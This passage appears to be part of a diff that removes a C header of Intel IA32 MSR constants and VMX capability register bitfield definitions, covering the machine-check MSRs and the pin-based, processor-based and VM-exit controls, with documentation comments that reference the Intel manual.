IA32_MC5_ADDR 0x00000416 -#define IA32_MC6_ADDR 0x0000041A -#define IA32_MC7_ADDR 0x0000041E -#define IA32_MC8_ADDR 0x00000422 -#define IA32_MC9_ADDR 0x00000426 -#define IA32_MC10_ADDR 0x0000042A -#define IA32_MC11_ADDR 0x0000042E -#define IA32_MC12_ADDR 0x00000432 -#define IA32_MC13_ADDR 0x00000436 -#define IA32_MC14_ADDR 0x0000043A -#define IA32_MC15_ADDR 0x0000043E -#define IA32_MC16_ADDR 0x00000442 -#define IA32_MC17_ADDR 0x00000446 -#define IA32_MC18_ADDR 0x0000044A -#define IA32_MC19_ADDR 0x0000044E -#define IA32_MC20_ADDR 0x00000452 -#define IA32_MC21_ADDR 0x00000456 -#define IA32_MC22_ADDR 0x0000045A -#define IA32_MC23_ADDR 0x0000045E -#define IA32_MC24_ADDR 0x00000462 -#define IA32_MC25_ADDR 0x00000466 -#define IA32_MC26_ADDR 0x0000046A -#define IA32_MC27_ADDR 0x0000046E -#define IA32_MC28_ADDR 0x00000472 - /** - * @} - */ - - /** - * @defgroup ia32_mc_misc \ - * IA32_MC(i)_MISC - * - * IA32_MC(0-28)_MISC. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_MISC 0x00000403 -#define IA32_MC1_MISC 0x00000407 -#define IA32_MC2_MISC 0x0000040B -#define IA32_MC3_MISC 0x0000040F -#define IA32_MC4_MISC 0x00000413 -#define IA32_MC5_MISC 0x00000417 -#define IA32_MC6_MISC 0x0000041B -#define IA32_MC7_MISC 0x0000041F -#define IA32_MC8_MISC 0x00000423 -#define IA32_MC9_MISC 0x00000427 -#define IA32_MC10_MISC 0x0000042B -#define IA32_MC11_MISC 0x0000042F -#define IA32_MC12_MISC 0x00000433 -#define IA32_MC13_MISC 0x00000437 -#define IA32_MC14_MISC 0x0000043B -#define IA32_MC15_MISC 0x0000043F -#define IA32_MC16_MISC 0x00000443 -#define IA32_MC17_MISC 0x00000447 -#define IA32_MC18_MISC 0x0000044B -#define IA32_MC19_MISC 0x0000044F -#define IA32_MC20_MISC 0x00000453 -#define IA32_MC21_MISC 0x00000457 -#define IA32_MC22_MISC 0x0000045B -#define IA32_MC23_MISC 0x0000045F -#define IA32_MC24_MISC 0x00000463 -#define IA32_MC25_MISC 0x00000467 -#define IA32_MC26_MISC 0x0000046B -#define IA32_MC27_MISC 0x0000046F -#define IA32_MC28_MISC 0x00000473 - /** - * @} - */ - - - /** - * Reporting Register of Basic VMX Capabilities. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - * @see Vol3D[A.1(Basic VMX Information)] (reference) - */ -#define IA32_VMX_BASIC 0x00000480 -typedef union -{ - struct - { - /** - * @brief VMCS revision identifier used by the processor - * - * [Bits 30:0] 31-bit VMCS revision identifier used by the processor. Processors that use the same VMCS revision identifier - * use the same size for VMCS regions. - */ - uint64_t vmcs_revision_id : 31; -#define IA32_VMX_BASIC_VMCS_REVISION_ID_BIT 0 -#define IA32_VMX_BASIC_VMCS_REVISION_ID_FLAG 0x7FFFFFFF -#define IA32_VMX_BASIC_VMCS_REVISION_ID_MASK 0x7FFFFFFF -#define IA32_VMX_BASIC_VMCS_REVISION_ID(_) (((_) >> 0) & 0x7FFFFFFF) - - /** - * [Bit 31] Bit 31 is always 0. - */ - uint64_t must_be_zero : 1; -#define IA32_VMX_BASIC_MUST_BE_ZERO_BIT 31 -#define IA32_VMX_BASIC_MUST_BE_ZERO_FLAG 0x80000000 -#define IA32_VMX_BASIC_MUST_BE_ZERO_MASK 0x01 -#define IA32_VMX_BASIC_MUST_BE_ZERO(_) (((_) >> 31) & 0x01) - - /** - * @brief Size of the VMCS - * - * [Bits 44:32] Report the number of bytes that software should allocate for the VMXON region and any VMCS region. It is a - * value greater than 0 and at most 4096 (bit 44 is set if and only if bits 43:32 are clear). - */ - uint64_t vmcs_size_in_bytes : 13; -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_BIT 32 -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_FLAG 0x1FFF00000000 -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_MASK 0x1FFF -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES(_) (((_) >> 32) & 0x1FFF) - uint64_t reserved1 : 3; - - /** - * @brief Width of physical address used for the VMCS - * - 0 -> limited to the available amount of physical RAM - * - 1 -> within the first 4 GB - * - * [Bit 48] Indicates the width of the physical addresses that may be used for the VMXON region, each VMCS, and data - * structures referenced by pointers in a VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions). If the bit - * is 0, these addresses are limited to the processor's physical-address width.2 If the bit is 1, these addresses are - * limited to 32 bits. This bit is always 0 for processors that support Intel 64 architecture. - */ - uint64_t vmcs_physical_address_width : 1; -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_BIT 48 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_FLAG 0x1000000000000 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_MASK 0x01 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH(_) (((_) >> 48) & 0x01) - - /** - * @brief Whether the processor supports the dual-monitor treatment of system-management interrupts and system-management - * code (always 1) - * - * [Bit 49] Read as 1, the logical processor supports the dual-monitor treatment of system-management interrupts and - * system-management mode. - * - * @see Vol3C[34.15(DUAL-MONITOR TREATMENT OF SMIs AND SMM)] - */ - uint64_t dual_monitor_support : 1; -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_BIT 49 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_FLAG 0x2000000000000 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_MASK 0x01 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT(_) (((_) >> 49) & 0x01) - - /** - * @brief Memory type that must be used for the VMCS - * - * [Bits 53:50] Report the memory type that should be used for the VMCS, for data structures referenced by pointers in the - * VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions), and for the MSEG header. If software needs to - * access these data structures (e.g., to modify the contents of the MSR bitmaps), it can configure the paging structures - * to map them into the linear-address space. If it does so, it should establish mappings that use the memory type reported - * bits 53:50 in this MSR. - * As of this writing, all processors that support VMX operation indicate the write-back type. - */ - uint64_t memory_type : 4; -#define IA32_VMX_BASIC_MEMORY_TYPE_BIT 50 -#define IA32_VMX_BASIC_MEMORY_TYPE_FLAG 0x3C000000000000 -#define IA32_VMX_BASIC_MEMORY_TYPE_MASK 0x0F -#define IA32_VMX_BASIC_MEMORY_TYPE(_) (((_) >> 50) & 0x0F) - - /** - * @brief Whether the processor provides additional information for exits due to INS/OUTS - * - * [Bit 54] When set to 1, the processor reports information in the VM-exit instruction-information field on VM exits due - * to execution of the INS and OUTS instructions. This reporting is done only if this bit is read as 1. - * - * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] - */ - uint64_t ins_outs_reporting : 1; -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_BIT 54 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_FLAG 0x40000000000000 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_MASK 0x01 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING(_) (((_) >> 54) & 0x01) - - /** - * @brief Whether default 1 bits in control MSRs (pin/proc/exit/entry) may be cleared to 0 and that 'true' control MSRs are - * supported - * - * [Bit 55] Is read as 1 if any VMX controls that default to 1 may be cleared to 0. It also reports support for the VMX - * capability MSRs IA32_VMX_TRUE_PINBASED_CTLS, IA32_VMX_TRUE_PROCBASED_CTLS, IA32_VMX_TRUE_EXIT_CTLS, and - * IA32_VMX_TRUE_ENTRY_CTLS. - * - * @see Vol3D[A.2(RESERVED CONTROLS AND DEFAULT SETTINGS)] - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - */ - uint64_t vmx_controls : 1; -#define IA32_VMX_BASIC_VMX_CONTROLS_BIT 55 -#define IA32_VMX_BASIC_VMX_CONTROLS_FLAG 0x80000000000000 -#define IA32_VMX_BASIC_VMX_CONTROLS_MASK 0x01 -#define IA32_VMX_BASIC_VMX_CONTROLS(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 8; - }; - - uint64_t flags; -} ia32_vmx_basic_register; - - -/** - * Capability Reporting Register of Pin-Based VM-Execution Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PINBASED_CTLS 0x00000481 -typedef union -{ - struct - { - /** - * @brief External interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT - * - * [Bit 0] If this control is 1, external interrupts cause VM exits. Otherwise, they are delivered normally through the - * guest interrupt-descriptor table (IDT). If this control is 1, the value of RFLAGS.IF does not affect interrupt blocking. - */ - uint64_t external_interrupt_exiting : 1; -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_BIT 0 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_FLAG 0x01 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 2; - - /** - * @brief Non-maskable interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT - * - * [Bit 3] If this control is 1, non-maskable interrupts (NMIs) cause VM exits. Otherwise, they are delivered normally - * using descriptor 2 of the IDT. This control also determines interactions between IRET and blocking by NMI. - * - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t nmi_exiting : 1; -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_BIT 3 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_FLAG 0x08 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Virtual NMIs - * - * [Bit 5] If this control is 1, NMIs are never blocked and the "blocking by NMI" bit (bit 3) in the interruptibility-state - * field indicates "virtual-NMI blocking". This control also interacts with the "NMI-window exiting" VM-execution control. - * - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] - */ - uint64_t virtual_nmi : 1; -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_BIT 5 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_FLAG 0x20 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI(_) (((_) >> 5) & 0x01) - - /** - * @brief Activate VMX preemption timer - * - * [Bit 6] If this control is 1, the VMX-preemption timer counts down in VMX non-root operation. A VM exit occurs when the - * timer counts down to zero. - * - * @see Vol3C[25.5.1(VMX-Preemption Timer)] - * @see Vol3C[25.2(OTHER CAUSES OF VM EXITS)] - */ - uint64_t activate_vmx_preemption_timer : 1; -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_BIT 6 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_FLAG 0x40 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER(_) (((_) >> 6) & 0x01) - - /** - * @brief Process interrupts with the posted-interrupt notification vector - * - * [Bit 7] If this control is 1, the processor treats interrupts with the posted-interrupt notification vector specially, - * updating the virtual-APIC page with posted-interrupt requests. - * - * @see Vol3C[24.6.8(Controls for APIC Virtualization)] - * @see Vol3C[29.6(POSTED-INTERRUPT PROCESSING)] - */ - uint64_t process_posted_interrupts : 1; -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_BIT 7 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_FLAG 0x80 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 56; - }; - - uint64_t flags; -} ia32_vmx_pinbased_ctls_register; - - -/** - * Capability Reporting Register of Primary Processor-Based VM-Execution Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PROCBASED_CTLS 0x00000482 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief VM-exit as soon as RFLAGS.IF=1 and no blocking is active - * - * [Bit 2] If this control is 1, a VM exit occurs at the beginning of any instruction if RFLAGS.IF = 1 and there are no - * other blocking of interrupts. - * - * @see Vol3C[24.4.2(Guest Non-Register State)] - */ - uint64_t interrupt_window_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_BIT 2 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_FLAG 0x04 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING(_) (((_) >> 2) & 0x01) - - /** - * @brief Use timestamp counter offset - * - * [Bit 3] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read - * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC offset field. - * - * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t use_tsc_offsetting : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_BIT 3 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_FLAG 0x08 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 3; - - /** - * @brief VM-exit when executing the HLT instruction - * - * [Bit 7] This control determines whether executions of HLT cause VM exits. - */ - uint64_t hlt_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_BIT 7 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_FLAG 0x80 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief VM-exit when executing the INVLPG instruction - * - * [Bit 9] This control determines whether executions of INVLPG cause VM exits. - */ - uint64_t invlpg_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_BIT 9 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_FLAG 0x200 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING(_) (((_) >> 9) & 0x01) - - /** - * @brief VM-exit when executing the MWAIT instruction - * - * [Bit 10] This control determines whether executions of MWAIT cause VM exits. - */ - uint64_t mwait_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_BIT 10 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_FLAG 0x400 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING(_) (((_) >> 10) & 0x01) - - /** - * @brief VM-exit when executing the RDPMC instruction - * - * [Bit 11] This control determines whether executions of RDPMC cause VM exits. - */ - uint64_t rdpmc_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_BIT 11 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_FLAG 0x800 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING(_) (((_) >> 11) & 0x01) - - /** - * @brief VM-exit when executing the RDTSC/RDTSCP instruction - * - * [Bit 12] This control determines whether executions of RDTSC and RDTSCP cause VM exits. - */ - uint64_t rdtsc_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_BIT 12 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_FLAG 0x1000 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 2; - - /** - * @brief VM-exit when executing the MOV to CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 15] In conjunction with the CR3-target controls, this control determines whether executions of MOV to CR3 cause VM - * exits. The first processors to support the virtual-machine extensions supported only the 1-setting of this control. - * - * @see Vol3C[24.6.7(CR3-Target Controls)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t cr3_load_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_BIT 15 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_FLAG 0x8000 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING(_) (((_) >> 15) & 0x01) - - /** - * @brief VM-exit when executing the MOV from CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 16] This control determines whether executions of MOV from CR3 cause VM exits. The first processors to support the - * virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t cr3_store_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_BIT 16 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_FLAG 0x10000 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING(_) (((_) >> 16) & 0x01) - uint64_t reserved5 : 2; - - /** - * @brief VM-exit on CR8 loads - * - * [Bit 19] This control determines whether executions of MOV to CR8 cause VM exits. - */ - uint64_t cr8_load_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_BIT 19 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_FLAG 0x80000 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING(_) (((_) >> 19) & 0x01) - - /** - * @brief VM-exit on CR8 stores - * - * [Bit 20] This control determines whether executions of MOV from CR8 cause VM exits. - */ - uint64_t cr8_store_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_BIT 20 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_FLAG 0x100000 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING(_) (((_) >> 20) & 0x01) - - /** - * @brief Use TPR shadow - * - * [Bit 21] Setting this control to 1 enables TPR virtualization and other APIC-virtualization features. - * - * @see Vol3C[29(APIC VIRTUALIZATION AND VIRTUAL INTERRUPTS)] - */ - uint64_t use_tpr_shadow : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_BIT 21 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_FLAG 0x200000 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW(_) (((_) >> 21) & 0x01) - - /** - * @brief VM-exit when virtual NMI blocking is disabled - * - * [Bit 22] If this control is 1, a VM exit occurs at the beginning of any instruction if there is no virtual-NMI blocking. - * - * @see Vol3C[24.4.2(Guest Non-Register State)] - */ - uint64_t nmi_window_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_BIT 22 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_FLAG 0x400000 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING(_) (((_) >> 22) & 0x01) - - /** - * @brief VM-exit when executing a MOV DRx instruction - * - * [Bit 23] This control determines whether executions of MOV DR cause VM exits. - */ - uint64_t mov_dr_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_BIT 23 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_FLAG 0x800000 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING(_) (((_) >> 23) & 0x01) - - /** - * @brief VM-exit when executing IO instructions - * - * [Bit 24] This control determines whether executions of I/O instructions (IN, INS/INSB/INSW/INSD, OUT, and - * OUTS/OUTSB/OUTSW/OUTSD) cause VM exits. - */ - uint64_t unconditional_io_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_BIT 24 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_FLAG 0x1000000 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING(_) (((_) >> 24) & 0x01) - - /** - * @brief Use IO bitmaps - * - * [Bit 25] This control determines whether I/O bitmaps are used to restrict executions of I/O instructions For this - * control, "0" means "do not use I/O bitmaps" and "1" means "use I/O bitmaps." If the I/O bitmaps are used, the setting of - * the "unconditional I/O exiting" control is ignored. - * - * @see Vol3C[24.6.4(I/O-Bitmap Addresses)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t use_io_bitmaps : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_BIT 25 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_FLAG 0x2000000 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS(_) (((_) >> 25) & 0x01) - uint64_t reserved6 : 1; - - /** - * @brief Monitor trap flag - * - * [Bit 27] If this control is 1, the monitor trap flag debugging feature is enabled. - * - * @see Vol3C[25.5.2(Monitor Trap Flag)] - */ - uint64_t monitor_trap_flag : 1; -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_BIT 27 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_FLAG 0x8000000 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG(_) (((_) >> 27) & 0x01) - - /** - * @brief Use MSR bitmaps - * - * [Bit 28] This control determines whether MSR bitmaps are used to control execution of the RDMSR and WRMSR instructions. - * For this control, "0" means "do not use MSR bitmaps" and "1" means "use MSR bitmaps." If the MSR bitmaps are not used, - * all executions of the RDMSR and WRMSR instructions cause VM exits. - * - * @see Vol3C[24.6.9(MSR-Bitmap Address)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t use_msr_bitmaps : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_BIT 28 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_FLAG 0x10000000 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS(_) (((_) >> 28) & 0x01) - - /** - * @brief VM-exit when executing the MONITOR instruction - * - * [Bit 29] This control determines whether executions of MONITOR cause VM exits. - */ - uint64_t monitor_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_BIT 29 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_FLAG 0x20000000 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING(_) (((_) >> 29) & 0x01) - - /** - * @brief VM-exit when executing the PAUSE instruction - * - * [Bit 30] This control determines whether executions of PAUSE cause VM exits. - */ - uint64_t pause_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_BIT 30 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_FLAG 0x40000000 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING(_) (((_) >> 30) & 0x01) - - /** - * @brief Determines whether the secondary processor based VM-execution controls are used - * - * [Bit 31] This control determines whether the secondary processor-based VM-execution controls are used. If this control - * is 0, the logical processor operates as if all the secondary processor-based VM-execution controls were also 0. - */ - uint64_t activate_secondary_controls : 1; -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_BIT 31 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_FLAG 0x80000000 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS(_) (((_) >> 31) & 0x01) - uint64_t reserved7 : 32; - }; - - uint64_t flags; -} ia32_vmx_procbased_ctls_register; - - -/** - * Capability Reporting Register of VM-Exit Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3C[24.7.1(VM-Exit Controls)] (reference) - */ -#define IA32_VMX_EXIT_CTLS 0x00000483 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief Save guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are saved on VM exit. The first processors to - * support the virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t save_debug_controls : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_BIT 2 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_FLAG 0x04 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 6; - - /** - * @brief Return to long mode after a VM-exit - * - * [Bit 9] On processors that support Intel 64 architecture, this control determines whether a logical processor is in - * 64-bit mode after the next VM exit. Its value is loaded into CS.L, IA32_EFER.LME, and IA32_EFER.LMA on every VM exit.1 - * This control must be 0 on processors that do not support Intel 64 architecture. - */ - uint64_t host_address_space_size : 1; -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_BIT 9 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_FLAG 0x200 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE(_) (((_) >> 9) & 0x01) - uint64_t reserved3 : 2; - - /** - * @brief Whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-exit - * - * [Bit 12] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM exit. - */ - uint64_t load_ia32_perf_global_ctrl : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 12 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x1000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 2; - - /** - * @brief Acknowledge external interrupts with the irq controller if one caused a VM-exit - * - * [Bit 15] This control affects VM exits due to external interrupts: - * - If such a VM exit occurs and this control is 1, the logical processor acknowledges the interrupt controller, acquiring - * the interrupt's vector. The vector is stored in the VM-exit interruption-information field, which is marked valid. - * - If such a VM exit occurs and this control is 0, the interrupt is not acknowledged and the VM-exit - * interruption-information field is marked invalid. - */ - uint64_t acknowledge_interrupt_on_exit : 1; -#define 